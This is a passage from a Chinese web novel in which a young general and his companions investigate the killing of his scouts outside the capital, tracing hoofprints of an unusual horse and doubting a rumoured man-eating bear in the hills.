“安大人他们说是发现了什么,出城了,过两日才能回来。”管家如实禀报,“他们几个一块走的,应该是出了什么事,也没交代清楚,走得很匆忙。” 霍青行面色微沉,“走得很匆忙?” “是!”管家颔首,“我都来不及问。” 出城了? “没说去哪?”霍青行又问。 管家跟在后面,努力回想,然后摇摇头,“没说。” “估计是出了什么要事。”霍青行小声嘟囔着,转而吩咐管家,“多看着点小院那边,我明日开始就要去衙门点卯,若是在衙门找不到我,就去西郊大营。” 管家颔首,“老奴明白!” 刚回到房间,管家又好似想起了什么。 “哦对了,少将军,那位杨姑娘……”管家犹豫着,“不只是杨姑娘,还有杨公子,这两人就好像是盯上您了似的,非得来咱这套近乎,门房也不好一直拦着,毕竟是丞相府的人,您看找个什么借口比较合适呢?” 霍青行踌躇了片刻,“平日经常来吗?” “不不不。就您回来之后,这杨姑娘和杨公子才登门的!”老管家直摇头。 霍青行深吸一口气,“告诉他们,我喜欢男人。” “是。啊?” 老管家骇然瞪大眸子,不敢置信的看向自家少将军,张着嘴巴好半晌都发不出声音,渐渐的,竟还有些眼眶湿润。 “你……”霍青行忽然意识到,老管家误会了,“不是,不是……” 老管家叹口气,好像连肩膀都一下子耷拉下来,“老奴知道,少将军在边关跟一帮男人相处久了,没怎么接触过女子,所以……也是能理解的。只要少将军高兴,怎么都成!” “不是!”霍青行揉着眉心,“小院子里住着的,不就是女子吗?” 老管家:“??” “我找回来的,你们想要的,就是我小时候……”霍青行指了指隔壁。 老管家登时眼睛都亮了,“少夫人啊?” “嗯!”霍青行做了个嘘的动作,“还没成,别露声。杨家的人盯得紧,可不能让人祸害了,明白我的意思吗?” 老管家点头如捣蒜,“好好好,真好,真好!老奴去问问,还缺不缺什么?” “哎哎哎!”霍青行拦住他,“她身份有些特殊,保护好她,莫要让她暴露在人前。” 老管家一直在金都宅子里待着,看过听过多少事,多多少少还是能明白霍青行的弦外之音,一句身份特殊,便让他止步。 “是少将军幼时那位吗?”老管家犹豫着。 霍青行点头。 闻言,老管家倒吸一口冷气,“原来如此,那……是该好好藏着,不过少将军也不必担心,现如今关心这事的人已经少之又少。事发多年,死的死,逃的逃,早已无人问津。” 不管是冤不冤,都已经随风而逝。 时隔多年,还有多少记得呢? “金伯,我们接下来要做的事情,可能会有点沉重,你要有心里准备。”霍青行没有言明。 可老管家是看着他长大的,他只要提一句,老管家便明白了其中深意,一时间竟有些百感交集,“到底是让我等到了这一日,只是此事凶险,当万分小心,少将军莫要逞强。留得青山在,不怕没柴烧。” “是!”霍青行颔首。 回房更衣,待完毕之后,天色黑沉沉的,似乎是要下雨了? “少将军,出门带伞,怕是要下雨。” 出门的时候,管家递给了霍青行一把伞。 霍青行看了一眼天色,接过伞就往外走,还真是让管家说中了,到了街头就开始下雨,雨势还不小,且有愈下愈大的趋势。 见此情形,霍青行只能先行进了小酒馆里暂避。 不多时,行人也三三两两的进了檐下避雨。 这条街人不多,一场大雨,显得更安静更冷清了。 霍青行本来是想抄近路的,没成想竟被一场大雨堵在这里,刚换的衣服鞋袜……下次定要让管家送几身衣服过去,若再遇见这样的状况,也不怕湿漉漉的。 “听说了吗?”闲来无事,避雨闲话,“青江沿岸都被水淹了,这会还不知怎么的?” “朝廷不是已经在筹措赈灾粮了吗?”有人搭话,“只不过今年收成不好,可能需要点时间。” “这可是肥差,也不知道会让谁去?” “谁去不都一样?先自己咬一口,再沿途让别人挨个咬,真的到了青江那边,还能有几口留给咱老百姓的?” “唉,这世道啊!” 青江水患非一朝一夕之事,霍青行也是知道一些的,那地方怎么说呢? 地势较低,算是低洼地带。 偏又是青江必经之地,三叉汇口,动不动就泡水。 附近的州县时常发生水患,朝廷每年都拨去修堤银子,还有去淤的费用,当地州县也都时常组织百姓去清淤,但收效甚微。 一下大雨,青州就水患频发,尤其是春秋季节。 众人你一言我一语的,说说这个,说说那个,有人感慨,有人低骂两句…… 众生百态。 蓦地,不远处响起了凌乱的脚步声。 不知道为何,众人登时禁声。 霍青行下意识的往外挪了两步,看清楚了外面的状况,只瞧着一队衙役正火急火燎的从跟前跑过去,也不知道是出了什么事? “这是怎么了?”终于有人发出声来。 众人皆有些诧异,一时间也都没弄清楚,这到底发生何事? “好像很着急,不会出什么命案了吧?” “哎呦喂,这大雨天的不会真出事了吧?” “造孽啊!” 霍青行瞧了一眼外面的雨,心里莫名有些不痛快,也不知道是急的,还是别的什么?好在过了半晌,雨势稍减,霍青行撑着伞便往外走。 行人纷纷四散,趁着这会雨势减弱,赶紧都回家去。 叩开院门。 杜忠一怔,“快!少将军!” 进了屋,陈识月赶紧暖了火盆,“这么大的雨,你大可不必过来,林序还在这呢,出不了事。快,把外衣和鞋袜褪下来,烤烤火,冬梅,帮忙煮一碗姜汤。” “好!”冬梅转身就走。 迎春挪动了火盆,倒了杯热水,“少将军先喝口热水。” 陈识月将外衣覆在了木架上,将霍青行的靴袜都挂在了火盆边上。 林序已经取了厚毯子,快速盖在了霍青行的身上,“外面的雨那么大,难为少将军还要冒雨过来,我原是想着等雨小了再回去,没成想你这般着急。” “我没事,往常在边关又不是没淋过雨。”霍青行不以为意,“对了林序,安信带着老二他们都出城了,你盯着点。” 第二百九十八章 去衙门认尸 “安信出城了?他没跟我说呀!”林序诧异,“这小子搞什么名堂?护送完了柳侍郎他们,这几个人就跟失了踪一般,一句交代都没有,实在是不像话!到时候回了军营,看我怎么收拾他们!没规矩!” “十有八九,遇见了急事。”陈识月开口,“不过……什么急事这么急?他们经常往来金都吗?对这里熟悉吗?” 这问题一出,众人都愣了愣。 “他们对金都不熟。”霍青行回答。 屋内,一室寂静。 不熟? 那怎么敢到处跑? “我现在就去找人!”林序骤然起身。 霍青行沉着脸,“你知道他们去哪了吗?你确定他们真的出城了?带着人,先去找柳侍郎。” “哦对!”林序忙不迭点头。 他们对金都不熟,但是柳侍郎熟啊! 外头的雨,似乎小了不少。 一阵疾风骤雨过后,便成了淅淅沥沥的雨幕。 霍青行坐在软榻上,喝了碗姜汤,面色略显凝重,“不知道为何,心里隐约有些不踏实,总觉得要出事。” “所以你才急急忙忙的,即便是冒着大雨,也要过来?”陈识月陪着他坐在软榻的另一侧,身上盖着薄毯,翻着手中的医术,“其实你不必那么担心,有迎春和冬梅在,我不会有事的。” 何况初来乍到的,谁认识她? 无人认识,自然无人会害她。 只要自己的身份不泄露,一般情况下没什么大碍。 霍青行点点头,“但愿我是杞人忧天。” 但事实证明,他的直觉是对的。 一夜之间,可以发生很多事情。 因着担心,霍青行昨夜便宿在了厢房。 然而天还没亮,杜忠便急急忙忙的跑进了厢房,“少将军,将军府失窃,您快回去看看吧!” “什么?”霍青行旋即起身,穿好衣服就往外走,走了两步又顿住,“就不必吵醒月儿,我先回去看看,你们几个看好院子,估计不是失窃那么简单。” 杜忠点头,“少将军放心,我等一定守好月姑娘。” 诚然,如霍青行所料。 将军府不是失窃,而是进了贼,但什么都没丢。 这不正常。 “少将军!”老管家迎上来。 霍青行面色黑沉,“金伯,怎么回事?” “什么都没丢,但是有人来过了,大概是想进书房,奈何老爷的书房都是装有暗器的,没能进去,却触动了机关,留下了痕迹。”老管家解释,“后来转道想去少将军的书房,没想到也是这样的结果,最后这人便不知去向。” 溜达了一圈,什么都没得到? “早不来晚不来,偏我回来之后再进来?他也不怕被我抓住?”霍青行有些不解,“还专挑书房,是生怕不知道,他这明确的目的性?” 管家点点头,“生怕咱不知道,他就是冲着您来的。” “虽然什么都没丢,但也要查一查,免得多了点什么?”霍青行意味深长的开口,“少了可怕,多了同样可怕。” 管家心头大骇,当即警铃大作,“哎呦,老奴还真没想这么多,这若是虚晃一枪,再来个栽赃陷害,还真是……老奴这就让人去搜一搜,以防万一!” 霍青行这么想也不是没有道理的,害人的手段层出不穷,防不胜防,自当小心为上。 天子脚下,阴谋诡计。 为权为利,不择手段。 在后院一处不起眼的位置,还真是搜出了点东西,一块黄布,上面既没有字迹,也没有诡异的图文刺绣,只是单纯的绣着祥云暗纹。 “就这么一块布?”老管家看不明白了,“这能作甚?裹脚都不够,纳鞋底还嫌打滑。” 霍青行伸手接过,对着光亮照了照,也没发现什么异常,“先收起来,莫要为外人知晓,说不定是有什么秘密藏在其中,只是需要特殊的药水,或者是别的什么辅助。也可能是代表着某种,不一样的意义,总归是有缘故的。” 要不然,谁无端端的跑到角落里,挖坑埋这么一块黄布? 老管家赶紧收起来,好在当时找到的时候人不多,想来消息不会外传,只是这块布得改日去布庄找找看,是否有类似的东西?如此,也好找找出处。 今日天气不好,雾蒙蒙的。 许是昨晚下过雨的缘故,到处都是湿哒哒,入目所见,皆是迷茫。 陈识月起来便没见着霍青行,原还想着是去衙门点卯,或者是去西郊大营了,可听得杜忠说将军府进了贼,一颗心旋即揪起。 “好端端的,怎么会进贼呢?”陈识月想不明白,“明知道少将军回府,皇帝留任,怎么还敢这般造次?” 这不是明着打脸吗? “林序呢?”陈识月又问,“他那边可有消息?” 杜忠还是摇头。 也没有消息。 还真是愁人。 陈识月没有追问更多,吃过早饭便带着迎春出了门,依旧是一袭男儿装束,连带着迎春都是如此。 回春堂。 白清舟一大早就来了回春堂,瞧着好像脸色不太好,神色有些焦灼,尤其是见着陈识月过来之后,当即迎上去,“那什么……月姑娘昨晚睡得还好吗?” 陈识月点头,“甚好,白公子气色不太好,昨晚没睡好?” “昨晚出了点事。”白清舟示意她上楼。 二人缓步上了二楼,坐在房间里,白清舟才缓缓开口,“衙门昨晚出了点事,说是城外出了杀人命案,衙役连夜出城。听说,死了不少人,我这心里有些七上八下的,又怕什么都不说,到时候你听人乱七八糟一通言语,自己吓唬自己。” “城外?”陈识月陡然想起了安信他们。 白清舟给她倒了杯水,“是啊,说是什么打架斗殴之类,具体还不清楚,反正死了几个,到底怎么回事……我爹去打听了,现在还没个回话,要是跟咱没关系那自然最好,但若是有什么意外,也要有心里准备。” 他办事,素来是周全的。 如白清舟所言,陈识月这会心里就有些不安。 昨天晚上的霍青行不就是如此? 别是真的让他预感到了? “你觉得……” “我不觉得!”不等陈识月把话说完,白清舟打断了她,“诸事尚无定论,一切都不明了,就不要自己吓唬自己,单纯的做好心里准备便是。衙门的事多,谁知道会发生何事?” 陈识月点头。 只不过刚喝了两口水,白重就来了,脸色不是太好看。 “爹,怎么了?”白清舟忙问,“遇见疑难杂症了?” 白重看了看儿子,又看了看陈识月,“林公子在衙门认尸。” 一句话,让陈识月瞬时心凉。 第二百九十九章 我们以前是不是见过? 认尸? 这两个字一出来,如同一盆冷水,将人泼了个透心凉。 衙门。 白清舟带着陈识月过去,此刻衙门外头已经围了不少人,所有人都在窃窃私语,说着衙门发生的事情。 人是昨天晚上被抬回来的,据说死得很惨,浑身上下都是伤。 陈识月僵在原地,掌心冰凉。 “谁杀的?”白清舟问身边的人。 众人你看看我,我看看你,都齐刷刷摇头。 “这谁知道呢?据说线人来报,城外有人聚众斗殴。” “说是因为还不上赌债?” “不是不是,听说是为了争一个女人。” “胡言乱语,我听人家说,这帮人是盗墓的,当时身边还散落着不少金银珠宝,肯定是因为分赃不均导致。” 白清舟皱起眉头,看向一旁发愣的陈识月,当即低语,“你别信,别往心里去,他们都只是道听途说,当不得真。” 话是这么说的,但人到了跟前,哪有不当真的? 毕竟,这是真的衙门。 衙门里,真的出了事。 林序在里面,也不知道现在状况如何? 因为衙役拦阻,暂时没人能进去,可见此事不同小可,但是霍青行来了,所以白清舟和陈识月便跟在他身后,从偏门走进了衙门。 衙门很大,从前堂绕到了后堂,又从后堂拐过了不少回廊,这才赶到了停尸房。 林序就坐在台阶上,耷拉着脑袋一言不发的,整个人像是霜打的茄子,蔫得不成样子,只不过偶尔会抽一下肩膀,伸手狠狠抓挠这头发,原本梳理妥当的发髻,这会已经被挠得跟鸡窝头似的。 “林序?”霍青行一声喊。 林序猛地抬头,眼眶通红,半大小子这会像是愤恨到了极点,却在触及霍青行的目光时,瞬间委屈的别开头。 往日最喜欢说话的人,这会竟说不出半句话来。 霍青行上前,轻轻拍了拍他的肩膀,然后带着白清舟和陈识月拾阶而上。 进门之前,霍青行回头,“要是不忍心,可以不用进去。” 陈识月本就是大夫,自然无所谓尸体还是活人。 白清舟到底是有些不忍,拱手揖礼,退到了林序的身边坐着。 死的是老二老三老四他们…… 一个个,整整齐齐的排列组合,只是…… “没看到安信?”陈识月松了口气,“这是不是意味着,他还活着?是不是找到他,这件事就有结论了?如此便可抓住凶手。” 话是这么说,但是老二老三他们的功夫也不弱,各有各的本事,当初跟着林序充当探子,素来是最机灵的,怎么可能被人轻而易举的一锅端? 这里面绝对有问题! 还有便是安信,大家都死了,他如今身在何处? 是死是活尚未可知! 可能是伤重,,也可能是尸身被藏起来了,暂未被人发现。 所有的可能……都可能是答案。 “找到安信。”霍青行回过神来,“不管怎样,是死是活,都要找!” 陈识月瞧着仵作递来的尸格,当即上前,随着霍青行的翻阅,不由得皱起眉头,“伤口都是生前所致,那就是说当时应该有很多人围攻他们?” 这就罢了,而且……陈识月查看了一下老二和老三的伤口,“很明显下手力道不同,伤口深浅不一,还有便是兵刃不同。” 仵作行礼,“少将军。” 府尹和捕头就在边上站着,各自对视一眼,没有多说什么。 “查到什么,只管说。”霍青行沉着脸。 仵作点头,“卑职怀疑,动手伤人的可能是一些江湖人或者是闲散人员,若然是组织严密,行动有序之人,一般情况下功夫差不多,兵刃也该差不多。” 同一批被训练出来的死士或者是杀手,大概率都是差不多的,不管是出手的力道,还是手中的兵刃。 唯有江湖人,各有各的门道。 乌合之众,兵刃五花八门。 “会不会是长乐门?”陈识月低声说。 府尹柳大人上前,“公子说的,是柳侍郎刚押送回来的那一批人?据说也是查到了长乐门的头上。” “嗯!”陈识月点点头。 柳大人眉心微宁,还是那一身藏蓝色的常服,他摸了摸自己的山羊胡,一副斯文儒雅模样,“若是如此,那可就得好好查一查了。” “府尹大人不怕得罪什么人吗?”霍青行问。 柳大人回过神来,“本府就是因为不怕得罪人,才坐在了这金都府府尹的位置上,少将军这话问得,好像咱没骨头一样。” 霍青行摇摇头,“得罪,倒也不是这个意思,只是提个醒。外人都说柳大人清正廉明,是个好官,这年头好官不多见,我倒是希望柳大人能一直做个好府尹,那才是百姓之福。” “多谢少将军夸赞,本府既坐在了这个位置上,自然不能让天下人失望,也不能辜负圣恩。”柳大人拱手,“既然这些人都跟将军府有关,那少将军就莫要瞒着,该说的说清楚,也免得咱走了冤枉路。” 说着,柳大人将目光落在陈识月的身上,“这位公子方才所言,是否有所依据?” 陈识月垂眸,“抱歉,只是猜测。” “哦!”话是这么说,但柳大人显然是不太相信的,看了看陈识月,又看了看霍青行,总觉得这二人关系不俗,“少将军,这位是您的……” 陈识月心头一紧。 霍青行似笑非笑,“心上人。” 没说她是男是女,但不管男女,都在他心上。 一旁的捕头和仵作瞪大眼睛,饶是办案无数的柳大人,也跟着咽了口口水,脑瓜子有片刻的懵逼。 原来霍家这位少将军,这么看得开啊? “原来如此啊!”柳大人深吸一口气,“那想必两位都知晓这几位死者……” 霍青行知道他想问什么,“少了一个,失踪的那个叫安信,和他们几个是一起的,之前我们在永安县那边帮着刑部和转运使办了一桩案子,最后因着特殊缘由,他们几个人就一起协助朝廷,押解囚徒回金都府,这件事情府尹大人应该有所耳闻吧?” “知道。”柳大人点头,“这该不会是遭到了报复吧?” 霍青行又道,“那些囚犯之中,多数与长乐门有关,我想……若是真的,是不是能撬开他们的嘴,兴许就能得到一二答案?” “本府明白了!”柳大人面色凝重,“此事本府会上报刑部,到时候会一会这帮人,看能不能找到一些蛛丝马迹。” 走的时候,柳大人好似想到了什么,若有所思的看了陈识月一眼,“对了,我们是不是以前见过?” 第三百章 这牲畜,吃得很好 听得这话,陈识月心头一紧,但面上不显,“草民头一遭来金都府,委实不曾见过大人。” “如此说来,便是缘分。”柳大人笑了笑,“本府瞧着,公子有些面熟,倒像是曾经见过的,真是失礼了!” 陈识月没有多说什么,只跟在了霍青行的身后,缓步踏出了停尸房。 出了外头,府尹柳大人又回头看了一眼陈识月,然后笑着摇头离开,捕头倒是留下了,不知跟霍青行说了什么。 陈识月怕在人前待了太久,容易被人惦记上,便转身去找林序。 许是白清舟宽慰了一会,林序已经逐渐恢复了理智,不似方才情绪上头。 “月姑娘。”林序站起身。 陈识月看向他,“你还好吗?” “嗯!”林序低低的应了声,“我此前还想着,这帮家伙一声不吭的就跑出城,八成是玩疯了,等他们回来好好收拾一顿,免得忘了军中的规矩。可我怎么都没想到,永安县一别竟是最后一面……” 说到最后,林序声音哽咽。 “会不会是报复?”陈识月呢喃。 林序哑然。 长乐门的报复吗? 也不是没有可能。 那些人心狠手辣,什么事情做不出来? “先回去吧!”霍青行走过来。 这里不是说话的地方,又什么事情回去再说。 小院。 进了门,冬梅和迎春便快速去沏茶。 霍青行和陈识月对视一眼,瞧着颓靡的林序,到底是心有不忍。 “战场上,刀剑无眼,不是早该习惯的吗?”霍青行开口,“咱们这些人,从到了边关开始,就得做好死的准备。” 林序点头,“我知道,我都知道,他们几个是我一手挑的,当初跟着我的时候也做好了死的准备,可是大丈夫本该战死沙场,却不该死于小人算计,我觉得憋屈!” 怎不憋屈? 战死沙场,那是荣耀。 可死在算计中,又算怎么回事? 保家卫国这么多年,他们从未有过怨言,可这些阴谋诡计如今就在天子脚下,却叫不醒装睡的天子,怎不让人寒心呢? “已经出了事,还能怎样呢?”霍青行端起杯盏浅呷一口,“关键是怎么找到杀死他们的凶手,为他们报仇雪恨,坐在这里想这些人生大问题,又有什么用处?想明白如何?想不明白又怎样?人都是要往前走的。” 林序当然明白,空想无用,唯有找出凶手,才能告慰诸位兄弟的在天之灵。 “眼下关键是找到安信,生要见人,死要见尸。”霍青行深吸一口气,“衙门那边我打好招呼了,待欧阳捕头处理好了公务,就会在城门口等我们。” 林序了悟,“去行凶处查看?只是下过雨,怕是不会留下太多线索。” “雁过留痕,只要是人做的,总会有迹可循。”白清舟道,“我不信这世上真有天衣无缝。” 霍青行也不信,所以决定去看看。 捕头欧阳恭等在了城门口,见着马车出来,旋即在前面领路,“因为事关将军府,所以大人说了,让卑职全权配合少将军。咱金都府已经很多年没有出过这样恶劣的杀人命案,大人这心里头也不好受。” 说起这个,欧阳恭面色微恙,转头看向马车,但到底也没再多说什么。 跟众人口中的那些“听说”、“据说”不太一样,事发的地点是在路边的林子里,只不过因为下过大雨,痕迹很是凌乱模糊,血迹都被冲刷得一塌糊涂,混合着地上的草皮还有泥泞。 要在这里找线索,实在是太难了。 “事发地点就在这里,第一具尸体是在靠近路边的位置,路人发现的,赶紧去报了城门口的守卫,守卫及时赶到,于是乎又忘里面走了几步,发现了第二具,第三具……” 说到这里,欧阳恭顿了顿,瞧着每个人的脸色都不太好,便默默的收了声。 林序蹲在路边的位置,不知道是谁趴在这里,大概是想跑出去的,又或者是为了掩护安信跑出去,但最后还是倒在了这里。 霍青行瞧着周遭的树木,灰蒙蒙的天,光线不是太好,但依旧能看到树干上的划痕,一道道的深浅不一,但足以想见当时的战况激烈。 他们几个不是没有作战经验的人,功夫也不弱,警惕性亦不小,按理说不可能轻易被人骗到这里,尤其是安信。 安信很聪明,反应也极快,在这陌生的金都府,除了他信任的人,他是不可能出现在这里的。 信任的人? 可老二他们都死了,尸体是真的,不是易容乔装。 那安信愿意相信的人,会是谁呢? “这有马蹄印。”白清舟喊了一声。 欧阳恭不以为意,“马蹄印又如何?这条是进城的必经之路,马蹄印和车辙痕都是最常见的,没什么可稀奇的。” “可这不是寻常的马蹄印。”白清舟抬眸看他。 闻言,欧阳恭疾步上前。 霍青行与林序对视一眼,紧跟着上去查看。 陈识月不懂这些,只能在边上静静的看着。 “有何不同?”欧阳恭看了好半晌,都没看明白,白清舟所言的不同,“这不就是寻常的马蹄印吗?我瞧着这马蹄铁也是寻常,没有什么异常。” 林序也没看明白,有点懵,“白公子,你这话是什么意思?” “寻常的马匹,前蹄和后蹄之间的距离,不会这么大。”白清舟意味深长的说,以手丈量,这的确超出了寻常马匹的长度,前蹄与后蹄之间的宽度,不该是这样。 霍青行了悟,“即便是战马,也不似如此,很少能见到如此健硕的马匹。想必这马,非同寻常,一般不可常见。” “还真是!”欧阳恭诧异,“我们之前倒是没发现。” 一般人哪儿会注意这么多,这条路上马蹄印和车辙印很多,任谁都是欧阳恭这般的想法,毕竟是公家的路,谁都可以走。 “这林子里你们应该都搜过了吧?”霍青行问。 欧阳恭颔首,“当时就搜遍了,除了马粪没有其他。” “林序,你和欧阳捕头沿着马蹄印找找看,是否有安信的踪迹?”霍青行吩咐,“我与月儿在林子里找找看。” 林序颔首,旋即沿着马蹄印找去。 霍青行则带着陈识月在林子里转悠,瞧着陈识月似乎是有目的的搜寻。 “你在找什么?”霍青行问。 陈识月头也不抬,“不是说有马粪吗?我找马粪呢!” 霍青行环顾四周,赶紧帮着找。 气味。 是马粪的气味。 虽然被大雨冲散,但还是剩下了些许。 陈识月皱了皱眉,“这牲畜,吃得很好!” 第三百零一章 可能是熟人作案 霍青行看向陈识月,又看了看马粪,“看出了这些,还能看出点别的吗?比如说,如何追踪,又点异于寻常之处?” “你是行伍之人,就该明白养马并非寻常之事,这样一匹体型健壮的好马,可不是用来拉活的。”陈识月看向他,“首先,这马的来路应该非同一般,咱们大煜和南蛮,北蛮他们本身就不同,不善骑兵作战,在很大程度上,受限于战马!” 中原的战马没那么强悍健壮,不像是北方那些游牧民族,有些甚至于是野马取种,一代代的精挑细选,留下的种马养育出的战马,不管是耐力还是野性上,都远胜于大煜的马匹。 战照打,贸易照通。 很大程度上也是想引进,外头那些优良的马种,谁也不想一味的挨打。 “你若是得了一匹好马,比如说汗血宝马,你会让它随便吃吃得了?”陈识月问。 霍青行摇头。 “路边有草,山中有木,对寻常马匹来说,管饱。可若是这样一匹好马,就得精心饲养,上好的草料是必不可少,这是一笔不小的银子,还得专门给它弄个饲养的马厩,要不然得了病什么的,不得心疼死?爱马之人,舍不得糟践这样一匹好马。”陈识月意味深长,“千里马难求!” 霍青行站起身来,“汗血宝马?你这话倒是提醒我了。” “你知道来处?”陈识月诧异。 霍青行点头,“前几年的时候吧,西域进贡了一批马匹,好像这里面就有两匹汗血宝马。但是汗血宝马养在宫里,一直是由专人饲养,因为这,皇上还特意组建了饲马监。” 由此可见,帝王对这两匹汗血宝马的看重,想要偷盗宫里的汗血宝马,几乎是不可能的事情。 “会不会是更早?”陈识月问。 霍青行思虑再三,还是摇摇头,“除非是偷偷的从西域买过来,宫里的马……绝无可能。” “马的来历,可查。马饲料的供给,也可查。”陈识月道,“另外便是,这匹马最近可能肠胃不太好,兴许是要找兽医的,寻常兽医怕是接不了这活。” 霍青行颔首,“都交给我。” 转头,未见林序和欧阳恭他们回来。 “我们去看看吧?”陈识月是个闲不住的。 林序动作快,白清舟为人仔细,欧阳恭则办案经验足,这三人凑一块,倒是天作之合。 “马蹄印到这个分岔路口就没了,我觉得应该是踩着那条石子路进山了。”白清舟伸手指了指,那条山的山道都是石子,据说有人在山谷里见过一群野马。 林序从另一条路回来,“这边有马蹄印,但不是我们要找的。” 欧阳恭站在原地没有说话,只是看着白清舟手指的方向。 须臾,林序转头,“捕头,你没什么要说的吗?” “进山是有可能的,但是进山的路不好走,这山里有熊瞎子,此前还伤过人。”欧阳恭开口,声音里带着几分犹豫,“试想一下,谁会冒险进去那地方?” 熊瞎子? 白清舟也听过这事,但是他当时就觉得有些奇怪,虽然说不上来是为什么。 “这事我倒是听说了。”白清舟点头,“不是说还咬死人了吗?” 欧阳恭点头,“对,当时大人刚上任没多久,就出了熊瞎子咬人的事,还特意组人去山里搜寻过,当时有不少猎户都跟着去,可惜什么都没有。” 林序没来过金都,当然不知道这些状况。 但白清舟还是听过的,“熊瞎子不该有窝吗?连熊窝都没找到?” “没有!”欧阳恭摇头,“不过见着了抓痕,落在树上,当时被咬死的人,身上也都是抓痕,这是万万抵赖不得的。众目睽睽,大家都看清楚了。死相很惨烈,内脏都几乎被掏空了,绝对是动物的咬痕。” 林序挑眉,“是咬痕,但不确定是不是熊瞎子的咬痕,对吗?” “可以这么说!”经过林序这么一提醒,欧阳恭好似想起了什么,“但当时还有目击者,都说是看见了熊瞎子,把人拖进了沟里,等他们再找过去的时候,就剩下了一副空架子,几乎是被吃空了。” 白清舟琢磨着,“其实你这话非要挑刺,那还有一种可能,他们看见了人被拖走,但是没有近距离的接触,可能是远远看见一道黑影,后来找到了尸体,觉得就是熊瞎子。” 欧阳恭忽然答不上来了。 “配合树干上的抓痕,人在潜意识里,就把这场景当成了熊瞎子吃人。”林序明白了白清舟的意思,面色沉沉的看着远处的高山,“这倒是极有可能的。” 欧阳恭点点头,“但如果是真的呢?” “我在这金都城住了多少年了,从未听说附近有熊瞎子出没伤人,周遭猎户猎到的兔子豺狼倒是不少,试问……既然兔子这些东西都能存活,说明周遭没有大型的猛兽。”白清舟看向二人,“如果没有熊瞎子,却要放出山中有熊的消息,所谓为何?” 林序忽然摸了摸鼻子,“要不怎么说,还是得多读读书呢?” “哈,是。”欧阳恭回过神来,亦是止不住的点头。 是了,还是得多读书。 “到底是读书人,脑子转得就是快,想的就是比我们这些大老粗周全。”欧阳恭看着远山,“如果真是进了山,追赶的人也会因为熊而不敢贸贸然跟过去。” 白清舟眯了眯眸子,“时间久了,进山的人就更少,山里若是藏着什么秘密,就更安全了!” “山里藏着秘密?”林序好似意识到了什么,“是安信他们发现了什么?难道不是因为长乐门的报复?那是因为什么?” 白清舟问,“安大人他们功夫不弱吧?” “嗯!”林序很肯定的回答。 “既然如此,不可能轻信他人。”白清舟带着几分狐疑,“该不会这躲进山里的人,和他们认识吧?又或者是,知道你们之间什么暗号,取出了什么信物之类,让安大人放松了警惕?” 林序倒吸一口冷气,“你是说叛徒?” “不敢不敢,只是猜测而已。”白清舟可不敢乱说,只是如今倒也没有外人在场,就他们三个人,他才敢合理猜测,“猜测!” 林序环顾四周,始终没找到安信的踪影,心里本就窝着一团火,“但我却觉得,你的猜测很有道理,少将军说过,当一件事没有头绪的时候,荒唐的猜测可能就是真相,不能忽略所有的可能。天时地利都齐全的时候,巧合便出现了。” 没遇到,不代表不存在! 第三百零二章 一人搞定一个? 霍青行和陈识月过来的时候,三个人还像个木桩子似的,杵在分岔路口,盯着远处的山头,一个两个的面色都分外凝重。 “你们三个想在这里生根发芽吗?”霍青行站在后面。 林序当即回过神来,“少将军,你们可有发现。” “有点思路了!”霍青行道,“你们呢?在做什么?” 白清舟指了指前面的山,“骑着马的人,可能进山了,但是捕头说这山里曾经有熊瞎子吃人,所以咱在想着,这消息到底是否无误?又或者,只是个幌子?” “如果是幌子,说明山里藏了东西。”欧阳恭接过话茬,“可现在死了这么多人,若真的有秘密,怕是非同小可。” 林序点头,“所以这件事非同小可,是不是先压一压?咱弄清楚了这山里到底有什么再说?” “要不然,我汇报大人,然后派人进山?”欧阳恭语气里带着询问。 林序白了他一眼,“衙门都知道了,还算是秘密?你这不是通知山里的人,哎哎哎,你们快藏好,我们要进山抓你们来了,快弄好陷阱,把我们一块弄死吧!” 欧阳恭:“……” 白清舟别开头,唇角压不住。 “猪脑子!”林序轻嗤。 欧阳恭皱了皱眉,没说话。 好像有些道理! “山里?”霍青行犹豫了一下,“找个理由才行。” 陈识月终于开了口,“熊瞎子吃人?” “对!”欧阳恭开口,“多年前的事了,后来就是偶尔有人看见熊瞎子活动的痕迹,比如说抓痕,脚印之类,倒是没有再出现吃人、伤人的事情。但大家都害怕,所以很少再有人进山。” 陈识月环顾四周,“这里居然有熊?” “以前没有,就前几年闹过。”欧阳恭解释,“公子莫要担心,只要不进山就没问题。” 陈识月看了霍青行一眼,倒是没再多说什么。 看样子,只能兵分两路去查。 “这件事交给你。”霍青行看向林序,“你自己去选人,带着进山,不要打草惊蛇,先弄清楚山里到底有什么?还有便是这匹马。” 他指了指脚下的马蹄印。 “这可能不是咱们中原的马。”陈识月补充一句,“有可能是外邦进贡的汗血宝马,虽然不一定准确,但绝对与我们寻常马匹不同,要仔细留意。” 欧阳恭诧异,“汗血宝马不是在宫里吗?” “也可能是在山里。”霍青行道,“凡事皆有可能。” 话都说到这份上了,想来也不需要过多解释。 白清舟的脸色很难看,“牵扯到了宫里?” 那可不是小事! “你是个读书人,就不必跟着我们进山了。”林序看向白清舟,“免得到时候跑起来,咱还得顾着你,你就老老实实读你的书,今年秋试的时候争点气,到时候金殿三甲,当个为百姓做主的好官。” 白清舟无奈的点点头,到底没再多说什么。 “少将军,那你……”欧阳恭有些犹豫。 霍青行敛眸,“我去查草料的事情,既是好马,自当配好鞍,用最好的草料饲养。” “最好的草料不都是供给宫里吗?”欧阳恭皱眉。 霍青行与陈识月对视一眼,“谁说不是呢?” 但,总有中饱私囊的时候。 供给宫里不假,可老老实实的做人,又如何能享受到荣华富贵呢? 富贵险中求,指甲缝里也能扣油水。 大概意识到了什么,欧阳恭低头嗤笑一声,带着明显的嘲讽,“倒是真的忘了,总有阳光找不到的地方,不足为奇。” 哪儿都有这样的人,的确不足为奇。 “先回去!”霍青行转身。 陈识月快速跟上。 “公子?”欧阳恭有些好奇,“你与少将军很熟悉?” 陈识月愣了一下,“嗯,过命的交情。” “原来如此。”欧阳恭点点头,“我瞧着公子好面生,是第一次来金都府吧?” 陈识月颔首,“是!” “跟着少将军一块来的?”欧阳恭又问。 陈识月没说话。 “那你现在住在将军府?”欧阳恭追问。 林序上前一步,“你当捕头,还是当媒婆呢?怎么这么多问题?咱是一道的,还有什么信不过的?你要是信不过你就去衙门告状,在这叽叽歪歪的,打量着膈应谁呢?” 陈识月在边上偷笑,霍青行则搀着她上了马车。 “我、我就是随口一问,这么大戾气作甚?”欧阳恭皱起眉头,“我就是瞧着这位公子虽然面生,但似乎头脑清楚,处事灵活,若是来衙门当个师爷……” “别!”林序打断了他的话,“奉劝一句,别打她的主意。” 